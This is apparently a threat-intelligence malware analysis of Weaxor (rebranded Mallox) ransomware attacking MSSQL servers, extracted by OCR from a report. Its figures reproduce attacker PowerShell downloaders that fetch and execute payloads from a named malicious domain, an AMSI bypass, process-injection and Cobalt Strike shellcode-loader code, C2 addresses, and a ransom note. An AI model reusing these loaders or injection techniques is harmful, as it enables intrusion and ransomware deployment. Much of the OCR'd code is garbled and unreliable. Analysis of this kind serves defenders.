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INTRODUCTION

In 2023, we saw a surge in Mallox (Target Company) ransomware cases,
and the loaders used to deliver the final payload. By the end of 2024,
another ransomware, Weaxor, appeared as a rebranding of Mallox

ransomware.

Mallox ransomware emerged in 2021, targeting Windows systems, focus-
ing on unsecured Microsoft SQL servers. The initial attack vectors involve
dictionary attacks to gain unauthorized access. Once access is obtained,
PowerShell and batch loaders are executed to deliver the final payload,

Mallox ransomware. Mallox also exfiltrates data in addition to encrypting

files.

Weaxor ransomware shares similarities with Mallox, targeting vulnerable
MSSQL servers and maintaining parallels in executable structure. Howev-

er, its delivery methods differ significantly:
- Initial-stage loaders use advanced, multi-layered obfuscation.
- Incorporates sqlps.exe instead of exclusively using PowerShell.

- Employs shellcode (Cobalt Strike Beacon) in the attack chain.

Infection Chain:

The figure below illustrates the attack chain:
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Attackers compromise exposed or vulnerable Microsoft SQL Server
instances by exploiting weak credentials, known vulnerabilities, or
unpatched systems. Once access is achieved, sqlps.exe—a legitimate SQL
Server utility—executes malicious PowerShell commands. These com-
mands act as downloaders, retrieving obfuscated payloads that perform
process injection. The injected code is a Cobalt Strike Beacon, connecting
to a C2 server and deploying Weaxor ransomware as the final payload.

Technical Analysis

Encoded PowerShell commands use Base64 encoding to obscure con-
tent and evade detection. The MSSQL Server PowerShell Module—bun-
dled with MSSQL Server installations—launches PowerShell in restricted
mode, avoiding detection by antivirus tools monitoring PowerShell.exe
usage.

Sqlps.exe provides a stealthier execution environment by bypassing user
profiles and script configuration files, avoiding alerting security tools. Its
silent operation minimizes user awareness.

Invoke-Expression (iex) runs encoded or obfuscated commands, com-
monly seen in malicious PowerShell usage.

Decoding the Base64-encoded command reveals code fragments acting
as downloaders for subsequent payloads.

ISrl:rsp-cmsﬂ = (Hew-Object

System.Net . WebClient) .DownloadString ("hettps : f/di rectxapps . shop/GLY650s DOWMWprAJhagel HPcdgzpSMRpL™ b
i

Sresponse = Sresponse.Beplace ("SKDSkskdksDSal2sdzxcpoivivmasdkkanvisndlsasssjd2 33Ladpdk™,. ") ;
SMyProcess? = New-Object System.Diagnostics.Process:

SMyProcessi.StartInfo.FileName = "sglps”:

SMyProcessi.StartInfo.Arguments ='-nop =W hidden -Command Sglcbal:war=' +

"SPID: iex([System.Text.Encoding] : :UTFE.GetString { [System.Convert] : :FromBasetdString (" Sresponse’) )
hi"

SMyProcess2. startinfo.UsesShel lExecute = Sfalses

SMyProcess2. startinfo.BedirectStandardoutput = Strues

SMyProcess2.stact{) s

Joutput = SMyProcess2.StandardOutput.ReadToEnd{)

sleep 15:

Sresponse? = (New-Object

System.Net.WebClient) .DownloadString (®https://directxapps.shop/NILdROnEdOx f 2wEhIisaGal 67PEbxnBg™)

P

Sresponse? = Sresponsel.Beplace ("sddTshshA23323259)59sj2weeTI125issdsXEshshesuwd22ag™, ") 7
iex{[System.Text .Encoding] : :UTFA .GebString ([System.Convert) @ FromBaseédsString ("Sresponse2™h) b s

Fig 2

Decoded content downloads two payloads from the URL shown above.
Modifications within the downloaded content replace certain strings with
empty values, transforming the payload for execution.
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Payload Retrieval and Execution

The encoded command downloads:

1. Payload 1 (GfY6SQsDOWWprAJhagclHPcdgzp5MWpL): Implements
process injection and AMSI bypass for memory-based detection evasion.

SEDSkskdksDsal2sdzxcpoiv]vemasdkkanv])sndlsasssjd2331adpd kXJFDpbjMOIDOgOC IKAXNpbmogU3l
zdGVtowplc2lu2yBTeXNOEWIuUnVudGl t 255TbnRl cmawli2Vydml j EXMTCnBl YmepYyBjbGFzcyBRaWd zNCET
CiAgICBLRGXSSWIWDITORCIrEXTuENW ZM1 IpKOog ICAQICAGQIHE] YexpY yBedGF0aWMg 2Xh 0 ZXTuIEludFROc
1BHEXROcmY ] OWRkemV zcyhJbnROdHT gaBl vEHVSZ5wgc 3RyalSn T HByb ZNOYW1 1 KT =KoV EEbGx IbXBvenQoInm
tlem5S1bDMyIildCiAgICAgGICAGCHVIDGEL) IHROYXRpY yBleHRLemd gSW5 0UHRY IEXVYWRMaW Iy Y X JSKENO cml
WEYBUYW11KTsKICAQIFtEDGRIDXEVenQoImt lemS 1bDMyIildCiAgICAgICAgCHViIbGL ] IHNOYXRpYYELeHRL
codgSWEOUHEY IESWIWSOemS ) ZXN 2 KHVPbnOg YWN | XNz LCBib2 95 IG1uacVyakos THVpbnOgeGlLKETsKLQ0 10
ApBEGQLVHIWZSAKVZluMzQTCiRzdHIpbmogPSANAGY shGE sTHAvemx kIwo ke 3RYaWSnIDOgIHNOCmIuZy Sy ZX
BsYWN1KCdoZScasTJ2EnKQoke IRyaWSnIDOgIHNdcmluZy Sy 2XBS YWN] Ko dshCos 2 0nHQoke 3Ry aW Sn I DOgIHN
OcmluZy Sy 2XBsYWNIECAvLCes TiMnEQoke 3RyaWsSnI DOgITHNO cmluZy Sy ZXBs YNNI ECcgdywnaScpCiRzdHIp
bmegPSRke IRyaWsnLndleGxhY 200 ddvIywnlminkQo ke 3RyaWSnID0g JHNO cml uZy Sy EXBSYWH L ECdybGonL
CdsbCepCiRzdHIpbmey ID0gI 2h1bGxvICE b3 Ts 2CcKIHNOcmluZz IgPSakeIRyaWsnMi Sy 2 BsYWN1KCdo2s
csJOEnKQokc 3RyaWSnMiASICRzdHIpbmey LnJ LeGxh Y 200 J2x s TywnbScpliRzdHIpbmey ID0gJHNOcmluZz I
UemVWhGE] 25gnbywnlCdz JyKEJHNOemlu2 2 IgPSAKC IRy aWSnMi Sy 2XBs YWN1KCcgJywnaScpCiRzdHIpbmey
ID0gJENOemluZ zIucmVwibGE] Z8gnd 2 8nLCdTY yepCiRzdHIpbmeyIDO0gIHNOemlu 22 TuemVwbGE 25gnemsk.d
yWnYWAnKQoke 3Ry aWSAMyAST CdoZWx shywgd29ybegnc iRz dHIpbne 2 100gJHNOemlu 2 2MucmVWhGE] 25gnas
VsbGinLodCdScpCiR zdHIpbmez IDOgIHROcml uZ zMucmVwhbGEj ESgnLCAnRLCdmE i cpCiRzdHIphbme 2 100 gTHN
OcmluZzMucmVwhGEj 25gnd 29ybGonLedl cicpCiRFQzg 2Nl czVIBBUT g PSAWC i RaVkREWVEFTVzhBUk kg FSED
V21uMzRAO ) pMb2FkTGl icmFyeSgko3RyaW SnEQokQ) JLUTHWREI 1 T LIR I DOgW 1 dpb jMOX To 6R2VOUHIVY OFkE
HI1e3MoJEpWRE S ZUVNROEF S5 5wy JENO cmluZ 2 TgKyAke IRyaWSnMy kEJDFIUOFLO zNaQUpTTyAYIFEXaWd zHF
DECKSWENS0CmS ) ZXNZEDBARKZGLCAKAHT ] 25wgJHEhe 1 KTCIRNeVBYD 2N 1 c 3Ny ID0G TRV ILUS i amV i dCBTe XN
QZNOURGLRZZSVe IRDY IMUUHIVY 2VZoWwo kT LQome ] EXNzMi STAGFydEluZmEuRml 3 EUShbWUgPSALCIFSCHML
CiENeVBYyb2NLeIMYyLINOYXJOSHSmby SEemd LbWVudHMg PSetbmOwICIDb2 LEYWEKICegEyAnW) ludFB0c10kE
ZXVYMFs01RBUjUSIYAr ICI kMUl TOUE DM pES INPOYIgKYANWO LudFEOCLOKEZxvYmF S0l REUJESTYAr ICT kO]
JLUTHNWREI1T1JROZ]11eChbl3] zdGVELIR]eHQUEWS jDZRpbnddo) pVVEY4 Lkd 1 dFROcml uZyhbU31 2dGVELKN
vbnZlenRdo ] peemstomFZ ETYOUIRyaWSnKCADb kS ZW1dWd0 LEVTADavIY ¥ Velek STRT L JRUFpG 2 SWemFXNWS T

Fig 3

2. Payload 2 (NILAROuHdOxf2wKh3XsaGal67PZbxnPg): Encoded with XOR
for obfuscation.

=ddIshshAZ332325 ) )5)5]2weeT31 252854 sXKshshz zuwX 2 ZaqU2VOLVNOcml JAE1 vEGUQLVE LonNph 2 4gMg
oRZRVuY IRpb24gZnvuyl SnZXREcHIVY L ShZGRy ZXN 2 ITHSKCVBhemFt ICqkdnFy X 21 vEHVSZSwgIHZhe 1 Swemd
JEWR1 emUpCOKECSR2ZY NI EdWS ZYWE 12 5hdGl 2 BVSL EXReb 2R ID0GRFEBcHBED 2 LhaWsd0 ] pDdXJyZWS0RGSE
¥YWluLkdldEFzc 2Vt YmepEXMoESES IFdoENTLLUS1amVdCE T ICRELkd=sb2 TheEFze 2V Ymx S02F] aGUgLUFuL
Chlky SMbENhAdG1vb SToEXpdogny FwnkV s tMVIUBXF L YW ZKCATe XN EW0uEGx s Ty kg LS kuR 2VOVELWESgnTH
1jcm5zb220L1dpbiMyL1Vuc2 FmEUshdG] 2201 1d6hvE MK Qo THEhel SncGEgRSAkdmFyH3Vuc2 FmEVIu YRR
pdmV bWV 0aGS key SHEXRNZXRob20oJ0d1dFByb 2NBZGRY EXNz JywaW1R 5 cGVEEV0g0CgnU 31 2dGVELLT1bnRp
PWUUSHE0Z Ve FNlenZpy 2V LEhnbmR S ZVI1 Z ics ICdzdHIpbmenkKS KECX JLAdHV b LAKdmFyX 2dwY 5 5Jbn2va
200JG51bGWSIEACWINSCIR1DS 553dWS0awl L LK 1udGVy D IBT 2XJ2aWN Loy STYWS kbGVS ZWEARES 1Ay 1 PFYmplY 3
Qq1131 zdGVEL LTI bnRpbWTuSHS 02X Ive FN L cn 2pY 2V z LichhbmR s 2V 1 21go ToV LTS i amV j dCBIbnROdHI pLoA
oJHERC] 3 1bnNhEmMV EomE0aXZ1X2]1 1dGhvEHMURZVI TRV aG o KKCAHENEND ZR 1 bEV I YWS kbGUnKSkusws2h2t 1
KCRudWx s LCEAKCR2 YXJILOWS kdWx 1 KSkpESwgJHEhol Swoms | ZWR 1 cmpEQpSCgpmdWs jdG 1 vbi Emdws jxadld
FakZWx]1 E2F0ZVA0leXBl IHSKCVEhemF t ICgRCQIbUGEY YW1 1deVyEFBwe 2 10aW 3l DOgMCwg TWEUZGFObITSID
OgJFRydWURKSBEVHIWEVEdN SAkdmFyX IBhemFEEXRlcnMsCgkdWl BhemFt 2XR1cihgb3NpdGlvbiAS IDEpXSE
BVHIWEVOgIHZRCl Sy ZXR1emS fAHIWESASTFEWE2 1 kX Qo THOoKCSR2YHIFAHIWEVSidWl s2GVY I DOgWIFWCERY
BWEpb10E0KN] cnJl1bnRELZ I haWd uRGVmaWS IEHIuYNIpYOFzc2WE Ymx SKChOZXCE T2 ZWN0 IFNSC3R1IDESSE
WEZsZWN0aWSuLkFzc2VEYmx STmEL 2 SgnUmVmb GV dGVKRGY s EWdhdGUnKS ks IFL TeXN0 EW0ulmVmbGVjdG1vbi
SELWlOLKFzc2VEYmx SQnVpbGRIckF Y2V2cl0601T1bi kuRGVmaW s IRH1uYWlpY0lvEHV S Z5gnSWENEW1lvenl
Nb2R1bGURLCAKEMFSsc2URLERL ZmluZVRScCUoJ 0l SRGVS ZNdhdGVUeXBL Jywa JONS Y XN LCBOAW TS aWMs TFNL
YWX1ZCWwgOWS zaUNs Y XNz LCBBAXRv)2xhe3MNLCEDU 2L 2dGVELK 1 1 DHRpY 2 FZdER1DGVNYXR1IXSKKCSR2YX.Ifd
HlwevSidwl s2cvyLka] 2mluzUNvbnNOcny ) dGIvECASYERWENNDYWROYW1 1 LCBTaWR1on 1 TaWes I FBL YmxpYy
¢35 1Pt TeXNOZW0uUMVEEGY 1 delvbi SDYWL s aW S0 2 SudmVude LvbnNdo pTAGFUZGEY oWy JHERC L SW K ThEWY
0EXIZESSTZXRIDXESZNL LbnRhdGlvbKES YW ZKCASAWS 0aWl LLCENYWShZ 2VKIYKKCSRZY X T dHIWIVIidWl s
ZEVYLKRLZmIuZU1 1dchvZCgnsNS2b2t LIywg I 1Bl TmxpY ywg SG1kEUISU2 1 nLCROZ XA ThE 90 LCEWAX J0EWF ST
ywaJHEhcl 5vEXR1cmS fdHIwE SwadH2hel SwYRThbWV0 2 TzKS ST EXRJbHEs EW1 1bnRhdGlvbk 2 s YWdzHCASdW
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Applying necessary modifications and decoding the payloads reveals:

Analysis of Payload 1

Decoded content shows an attempt to load amsi.dll and fetch AmsiScan-
Buffer, typically used for scanning content buffers. This behavior suggests
an AMSI bypass attempt.

SWind4 = @=
using System;
using System.Buntime.InteropServices;
public class Win3d {
[D11Import ("kernaeldz™) ]
public static extern IntPitr GetProchAddress(IntPtr hModule, string procName):
[D11Import ("kernaldz™) ]
public static extern IntPLr LoadLibrary(string name);
[D11Import ("kernaldz™) ]
public static extern INtPLr OpenProcess(uint access, bool ipherit, wint piq);

}

"

Add-Type SWindd;

%string = 'hello, world®

Zstring = Sstring.replace('he','a')
fstring = Sstring.replace("ll','m')
Zstring = Sstring.replace('o,",'s'")
Sstring = Sstring.replace(® ',"i')
Zstring = Sstring.replace{"wa','.d")
Sstring = Sstring.replace("rld®,"11")
Sstring2 = "hello, world'

Sstring? = Sstring?.replace('he','A")
Sstring2 = Sstring2.replace('117','m")
Sstring? = Sstring?.replace('s,',"s")
sstring2 Sstring2.replace(' ','i")
Sstring? = Sstring2.replace('wo','sc')
sstringz Sstring2.replace('rld’,"an')

Fig 5

Additionally, the payload uses sqlps.exe for SQL-based PowerShell com-
mands, followed by Base64-encoded content indicating further obfusca-
tion.

S1ISAKCIZAJS0 = |Winid4]::0OpenProcess (UXFFF, Strue, Svar):
SMyProcess2 = New-Object System.Diagnostics.Process

SMyProcess2. StartInfo.FileName = “"sglps"

SMyProcess2.startinfo.Arquments ='-nop -Command ' + ' [IntPtr]5global iTARS=' +
"S1ISAKC3IZRIS0: ™ + "[IntPtrliglobal :TARL=" +

"SBZEQIVDBSNRO: iex ( [System. Text .Encoding] : ;UTFA.GetString { [System.Convert] : i FromBase
A5tring ("CoNsZWWW IDUTCIi B aWd HSAS TEBALCAVZAWESN I FNEC IR BT sHAXNpbmeaqU 3 1 2dGVELLI 1 bnRphWl

Fig 6
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SMyProcessz.Startinfo.Arguments ='-nop =Command * + '[IntPtr]iglobal:TARS=" +
"$1ISRRCIZATSD: " + '[IntPtr]fglobal:TARL=' + )
"SBZKQIVOBSNED; inx ( [System.Text .Encoding]: UTFE . Getstring ( [System.Convert] : : FromBases

= — Bl

Fig 7

Decoded Base64 content modifies memory protections to Read, Write,
Execute (0x40) for dynamic code execution. Additional encoded strings
hide malicious content.

sleep 5i
SWinds = @~
wsing System:
using System.Runtime.InteropServices;
‘public class Wini5 |
[D11lImport ("kernelda™) ]

public static extern int VirtualProtectEx(IntPLr hProcess, IntPLr

lpAddress, UIntPtr dwSize, uwint flNewProtect, out uint IpfloldProtect):
'lE
SVRARI = 07
‘Add-Type SWinis;
[Win35] s:virtvalProtectEx ($TARS, STARL, [uint32]3, Oxd40, [refliVAR3);
SMyProcess2 = New-Object System.Diagnostics.Process
SMyProcessi.startInfo.FileNams = “sglps”
‘GMyProcess2.StartInfo.Arguments ='-nop -Command * + '[IntPtr]iglobal:TARS=" +
"STARS:™ + '[IntPtriSglobal :TAR1=" +
MSTARL;iex({[System,Text.Encoding] +:UTFR. Getstring( [System.Convert] { iFromBasendstril
il i wlan - I 3 5T - 1 T s EAXNDDmog 3 - ; WIS oy

Fig 8
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sleep 57
$Win3g = @»
using System:
using System.Puntime. InteropServices:
public class Win3e |
[DL1Import ("kernel32®) ]
public static extern int WriteProcessMemory(IntPtr hProcess, IntPtr
lpBasehddress, byte[] lpBuffar, uint nSize, out uint lpMumbsrOfByteswritten):

I

@

Add-Type SWinlé;

SVARZ = 02

SVARZ = [Byte[l]] (0xB&, 0x57, 0x00, Ox07, Ox&0, OxC3);

[Win3e) : :WriteProcessMemory (STARS, STAR1, SVARZ, &, [ref]SVAR3);
exit;vy

Fig 9

The payload uses WriteProcessMemory for injecting code and VirtualPro-
tectEx to enable execution. The AMSI bypass highlights a strategy to
disable Windows Antimalware Scan Interface for stealth.

- Process Injection embeds code into legitimate processes.

- AMSI Bypass prevents detection of PowerShell and script-based threats.

Analysis of Payload 2

After decoding and necessary modifications in Payload 2:

Set-StrictMode -Version 2

function func_get proc_address |
Param {$var module, Svar procedure)
Fvar unsafe native methods = ([AppDomain] ::CurrentDomain.GethAssemblies () |
Where-cbhject [ 5 .GlobalAssemblyCache =And
5_.Location.Split(*\\')[-1].Bquals('System.dll’)
1 GetType { "Microsaft.WindZ.UnsafeNativeMathods')
Svar gpa = Svar unsafe native methods.GetMethod('GetProchddress', [Type(]]
B{"system.Buntime. Interopservices, Handleraf', 'string'))
return Svar_gpa.Invoke({Snull,
@{[5system.Runtime. InteropServices.HandleRef] (New-Object
System.Puntime, InteropServices. Handlepel | (New-0bject IntPtr),
{5var unsafe native methods.GetMethod ('GetModuleHandle')) . Invoke (Snull,
Bi{Svar module))d), Svar procedure))

}

function func_get_delegate_type |

Param {
[Parameter (Position = 0, Mandatory = STrue)] [Type([]] Svar parameters,
[Parameter (Position = 1)] [Type] Svar_ return type = [Void]

i

Svar type builder = [AppDomain)::CurrentDomain.DefineDynamichssembly { (New-Object

System.Ref lectinn.nﬁ:'.embl]manm ("ReflectedDelegate)),
[System.Beflection.Emit.AssenblyBuilderfcoess] ( iRun) DefineDynamicModule | ' InMemor
yModule', Sfalse) . .DefineType ('MyDelagateType', "Class, Public, Ssaled,

Fig 10
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$var_type builder,DefineConstructor ('RTSpecialName, HideBysig, Public',
[System.Reflection.CallingConventions] : : Standard,
Svar_parameters).SetImplementationFlags{'Runtime, Managed')

fvar_type builder.DefineMethod('Invoke', 'Public, HideBysig, Newslot, Virtual',
§var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

return jvar_type builder.CreateType()
)

If ([IntPtr]::size -eq 8) |

(Byte[]]$var_code =

[System.Convert] : iFromBaseddstring ('s702¥nlicKZIrgs2rosDIyMjadd+ydzelcuy/Guidbotl
iPcOGEbOSaBAUsnIyMjeWug2tzz IyM] TyM] IyMj2yM] I/ a6%gGo9Gmr EBddwMTaEwpeEewehRGJHZ 9GIWi
aduDTAeChzQluRzELIWwyE] 2MYkNcGalLs 1 8UgsBRIg+HOW2 i 0eliaNT z4nd 2+ iW] SKHLDVR/ kShtyo LR
ATCKBIACUEQIAYOC Wl ipY SO0y E+ky L r+hVNWIERL 274 EKEALbXgBUL TLAWD2 leNbvk+ L FhYnUsHGE 3Gk
YzZNdrwzUml SxsgwevHEY ket oDafYuf CLE 32 PSvMionxmgpbsMREUMI YR 2 9EM] IYMjGAgER M ABMa T
i IykgIyNEISM] IYMIESEgTIyMzIyM] IO TiMj TyMaIyM] ISM  TiMhIyM] IyMmIyE] IyM] IyOTMSM] Ty
MMy IyEFQyIjIzM) IvM i IyMz TyM ) TyM ] TyMz TyMf Iy iMyM ] IyM  I0BATISMz TyM Y 28nI I IyN/ Joo
JRYMI IyM] TyM] TyM T2MmT OMHIyMj TyM] TyM] IyNT.TiMnISM] TyM] TyM] TyMj TyM] Ty TyM] TyMj TyMi
IyMIIyM] IYMDYCATUYMITyM] IyM] IyM] IwHqI6M1IyM] IyH] IyM) TyH) IyM] IyMITyM) IyH] IyMafFaxts
Ag i T40GTCMIMYM] Iykg TyMnTyM) Ty TyMj TyMj IyMDTyNDNnpe Dnxp0i033yM] InMg IyPdTyMi LA Iy
MITyMIyMjTyMi¥yMi¥z2sWxt SCCM]izsi TyMDIyMiVEM Ty anTyM] TyMj TyMi TyM] I2M] T+M2eFd40baic
ELOMHIYMIYYY JIWUIIyORIyMI IyM i IyM I Iy IyN IyNNnpLA3drOi Pz LM T 1MmIyMe Iy iyejIyM]
IyMIyMIIyMjYyMjYenf 91 RRPL+mtdif szqSemPAZ (WOPTAmMOWZ EbEr9iMYolY0j 2 I r2 I1gFNTC298H M
qi¥tJhgnlaviuncLLDEFle5FQs 320MUShiqUodCx 4 Lyb SqpIx 2 tdEmE & ZmR 2vHAhDvET X 3 SMuK TN E 7 twmi
fGLLCVEZsnsSey T DS T6an THR I IRIQ+NCSILPTIQ/HI XREWgX K36 Y02y Thiyd Tvihxadl 4Z50BHO2my
Ove+iyvE4aieHRESloJtIlRaTN te/ S0l8s/24VPe Tt FSHMRVWOZBUmMWAX ECY 4 SSEQIGLSFV oz k+BLDR

Fig 11

Further PowerShell code invokes memory operations, indicating
process injection.

for ($x = 0; $x -1t Svar_code.Count; Sx++) |
svar_code[5x] = Svar_code[5x] -bxor 35
}

[Byte[]]5func_gmh = [BitConverter]::GetBytes((func_get proc address kernel32
GetModuleHandled) .ToIntéd (1)

[Byte(]]15func_gpa = [BitConverter]::GetBytes((func_get proc_address kernel32
GetProchddress) . Tolntéd () )

[Array] s :Copy{Sfunc_gmh, 0, $var code, 101947, 5func_gmh.Length)
[Array] : :Copy(Sfunc_gpa, 0, Svar code, 101%&2, Sfunc_gpa.Length)

Svar_va =

[System.Runtime. IntercpServices.Marshal] : iGetDelegateForFunctionPointer ( (func_get
_proc_address kernel32.dll VirtuwalAlloc), (func_get delegate type @({[IntPtr],
[UInt32]), [UInt32], [UInt3Z]) ([IntPtr]l)}

Svar_buffer = Svar va.Invoke([IntPtr]::Zero, Svar code.Length, 0x3000, 0x40)
[System.Runtime. InteropsServices.Marshal] : :Copy (Svar_code, 0, Svar_buffer,
svar_code. length)

Svar_runme =
[3ystem.Runtime, InteropServices.Marshal] ::GetDelegateForFunctionPointer {Svar_buff

er, (func _get delegate type B{[IntPtr]) ([Void])))
$var runme.Invole([IntPtr]::Zero)

Fig 12

Decoded content reveals shellcode, confirmed as a Cobalt Strike Beacon
after disassembly.

08



00000000:

.. .AZARUH. .H..

LUt i

'..CreateFileZ.:

.S..
...
U..

I
.0..
.0..
T
U..
k..
V..
...

d.
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ORS

Shellcode includes cryptographic references, suggesting advanced mali-
cious activities.

Fig 16

Disassembling the shellcode shows dynamic execution using GetModule-
HandleA, GetProcAddress, and VirtualAlloc to allocate memory, copy
shellcode, and execute it, bypassing detection mechanisms.
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0x1000: nop

Ox1001: nop

Bx1082: nop

Bx1003: pop rle

0x1005: push rie

0x1087: push rbp

0x1008: mov rbp, rsp

Bx186b: sub rsp, 0x20

0x1012: lea rbx, [rip - ©0x16]
0x1019: mov rdi, rbx

Bx101c: add rbx, ©x18el®
Bx1023: call rbx

0x1025: mov réd, @x56azb5f0
8x102b: push 4
0x1030: pop rdx
Bx1831: mov rex, rdi
0x1834: call rax
Ox1836: add byte ptr
8x1038: add byte ptr
8x103a: add byte ptr
8x103c: add byte ptr
0x103e: add al, bh
Ox1040: add byte ptr [rax],
Bx1042: add ch, dl

8x1044: cdg

o

=

=

=
[ It
L

p— p— p— p—

=i

a1

el el d e
=

=

Fig 17

Shellcode Functions

- Cryptographic processes
- C2 server communication
- Dynamic API calls

The shellcode likely acts as a backdoor or downloader for additional
payloads.



Fig 18

Code prepares memory, resolves APIls, and employs jump instructions for
obfuscation.

Fig 19

Absolute jumps signal payload transitions, while register-saving opera-
tions suggest obfuscation.
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Obfuscation and Anti-Analysis Techniques

- Complex arithmetic and redundant flags complicate static analysis.

- Commands may be used to evade debuggers or manipulate execution
flow unexpectedly.

Fig 20

The shellcode’s low-level operations modify memory and perform envi-
ronment checks, ensuring execution only in unmonitored environments.

It uses HTTP communication to connect with a Cobalt Strike C2 server at
203.55.176.72, enabling data exfiltration and deploying Weaxor ransom-

ware.
b 23ETT
LR T a WA 5510072
k. B13TRS
b2 JABALE Y. 5.1 T2

LB

283,55, 176. 72

203, 55.178. 72

0355176, 72

HTTR
wrme
HTTP

HTTR

04 BET [ fquery-1.3. 1.min. J3 HITR/1.1
136E WITR/L.1 208 Ok (application/favasceipt)
S04 GET Jjquery-2.3.)1.ain.§s HITRSL, )
TG WTTP/1.1 200 Ok (applicatisnfjavascript)
E134 POST fiquery=3.3,2.min. §37_ cfduldel GhEXbEQIN xxikMew HTTP/1,1

Fig 21

The Cobalt Strike C2 server employs a JavaScript file to deliver Weaxor

ransomware.

193.143.1.139

193.143.1.139

283.55.176.72

HTTP
HTTP
HTTP

1943 POST /UjduBjjooue/biweax.php HTTP/1.1

298 HTTP/1.1 208@ OK (text/html)
594 GET /jquery-3.3.1.min.js HTTP/1.1
Fig 22

Weaxor ransomware encrypts files, appending the .rox extension, and
connects to a second C2 server at 193.143.1.139.

13



ECAf.dll.rox ECCcief.dll.rox ECCClink.dllrox  ECCommunicati ECCommunicati RECOVERY
on.dll.rox ond.dll.rox INFO et

Fig 23

Below is the ransom note consisting of TOR link for victim to connecting
with the adversary.

| RECOVERY INFO.tan - Notepad - u]
Eile [Edit Fgimat Wew Help

Your files has been encrypted

Ta pecover them you need decryption tool

Instruction:

1)0ewniload TOR Browser https: [ fwew. torproject  org/download) [sometimes need WPH to download)

2)0pen TOH browser and follow by link below:

http:f fweaxorprmezoxghcdve fdTTplqo zkeg 1 3 wed foo2nd o F £ by thpyd . ondon /15 aHgOhal L0y rSPut lajdzgrf tgz 01t fAS2 2BCEACRSID0
2497 IBADSARAS TERARANPAGABAL GF 3D B2DA0ECALABEAS] 28

Or email: datahelpergcyberfear.con
Our guarantee: we provide free decyrption for 3 files up to 3 megabytes (not zip, db, backup)

(LN 100%  Windows ([CFLF) UTE-8

Fig 24

Observed Communications

Frogma: no-cacke

Accepk: "7, vext/himl.applicationSehtmlexml application/mliqee. 3,/ 1q=0.8
Accept-Encoding: gzip, deflate

Referer: hitpiflcode. jquery, comf

User-Agent: MezillafS.@ (Windows WT 6.3: Trident/7.8; rvill.@) like Gecko
Contest-Length: 538

Host: 203.55,176,72:65500

Bl DEIN G oM ] | IG1EdPehteVE_{FHICRRMERMDT LV En2
ROmATOHanL T a2 104 ac IQHwEHrghTRLis pOND 500 Lstonu T Bp Te svEY T ADdDuBR s R a7 LAGINTE MEGrqedozey Byl

FIFY2otyFHISEf M| EhNTE LN et TLFUNE R Svorquit Gubliie_ghd TReE41 etil6Iur FTUISFOL] s qdPkdi ] k2 EouhEB05pTYEB co RS FNFINC g TUR
P TANT_REDghZ ] AN TETHMTUC WM - qr IR0 EpRbEaHaEF Ory eHILanB ] £5 - BeVE TVEoE LS Gumi e 3en) -

e YW RO PR E TR TIPCORTF A S Sa R rin - kaUsVEVTHms Lp S ERN T FAuaxvIHukEYOdgR2 Lt - WTBHE tzpoT fXViaTL v IpHIQHT -
T1TEHETHAT cHITK 3Bk qh e JrUqDIC hEwERRHCOTE T 1260 _ogekyqzilhiary rids LAz qemdLypayulitu-

PEONZAKFIngn L lowyd3n2 [GHaxk Lkba g LPEHEeqeT shisgrk TP _THIYERIPReQHTTR/L.1 209 0K

| Farver: RerDhA-cache/2.2

Content-Length: 5621

Eeep-Alive: timeout=18, mae=1sd

Connection: keep-alive

Content-Type! spplicationSfavescript) charset=utf-8§
Cache-Control: max-sgesd, no-cache

|Progma: no-cache

1 JQuery w331 | (e} 35 Feondotion amd other contributors | jguery.org/license *fifuncrionfe,t)( use
strdck” ) "ebject ==typeof modulelE obiect =stypect module.exportsimodule. exports=c.docusent?t(e, 18) functionfe] (1F(!
e.document)throw new Error(”jQuery requires a window with & docusent™)ireturn tig))rt(e))| undefined” l=typeot window?
window:this, fumctionfe,t){“use strict”var

m=l ], ree, document, L=Dbject. getPrototype0f  cen. s1ice, nen. concar, s=n, push, u=n, indewD?, 1|} c=1. toString, f=1. hasvmPropert
f.tostring.dep. call(Object) ha(} g=function e(t){return~funcrion =stypeof TEE nuomber™|stypeof t.nodeType].y=function e
(return nulllstilrsssy, window],ve[type: 18, 5rc: 10, notodule: 18] ifmction mie, T, n){var 1,0=(t=t]|
|le.:muﬂmnﬂ'nran‘h14:u.!m-t.n}fwu in vin{4]8&{efi]en[1]] %, head. appendihild (o). parenthode . rempyeChild (o))
| function wie){return nullesefes=":"object setypeof €| | “function setypeof elfc.callie)]| | objece rtypeef ejvar
|B="33.1" we=funcelonle, t){retern new w.in. indtie, €], Toio [ Ws\UFEFF oM ]+ | [ \3\WFEFF e8] b5/
|r.u-inw.pmtm*!jqwq".:!:!-Il':w!:trucfor:u.lcf:pm&.wrrw__! function(}{return o.callithis] ). get:function(z) [retus

I e s, | v i [ B
Entire corrversaton (543 18 brghes
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Interaction with the JavaScript file shows data being manipulated or
added to the infection chain.

1 FG58qThqK TN aybPlWFT RIS nakT_USLGBRIqKENTS 55y solHATChga_my 5o Ic0psTro ] Bahc TRF ke _dal Ewl0FKZ5#0r fblwhHZEEESppnZhusTL
T AL 1= T 2w C g ANk 3TV g IVL T+ g MRS S b T0F e nliic Fa T vy e e ripriniph?_ nADGyT LowTRE 10 uxrg IRPUE hoRSLBOHE 1T JugruduG T 1
ALIRFREENTROIFLT S ThEP UL L FeDg P s LA F s F - 00y cL AT TaQEfFvIfT 48 -
PouoATYScBBC 15V INESTE aviMAnposiulodnd ldhrkP T iGaRragiMlvelhoc_gRblmmEVPEIT cHulel 36181
& Tufufdyfi BaBaly FTe T1HAL rgBT Lol THA< 50T Hl Gl RGN 3 Quh &R £ Ao v N Ilirlaf pHR_
iy b I LD TQNEE fy S ECTLIeVESF Jn_ Ootppd® lynSLvieeK0E THRqUeere OL G Ty kFiebia 1ol Mg P U Jg el ok iu T jSnga Tr 30 fe -
BRI P T 2N rF Gl AV DRMGEEC TRE -
WGPy Py BrrHpAL e LyUn 3 OHLE Jdd TS AR | EP LS5V e e EP ST epo Jv ] 15 L5 UEYSER IS 22 EDHFA 1S T {yBlcsgdd_priF WFOuGsKRCTLAISG
mel Sl 141 7K jAumbd TS r\'ﬂ-__l}rﬁrnn“! AT GGt AR 15820 Ty TY 2k JBPAULRSSG - SATHEL LasUThhlady 2500w fgd 1 py THBTudLER E T ux kSl 36
| aVIzaS IrCLOPC - §p- ek KGrE pbPad A ) Talmu_JARS iFS10TAS P 1L es dngp et r IxRdE b S4I 000 TRRNE T {12 lnT stow jrbdF LikcuxRepy Sxlinc-
P AAS ThS THTORD G RO Ferd L 550 - T4 Exuy TTASIMTEF _6_BT8IqwPratcEyT0bFGIng -uxl sSEDN_hIh-
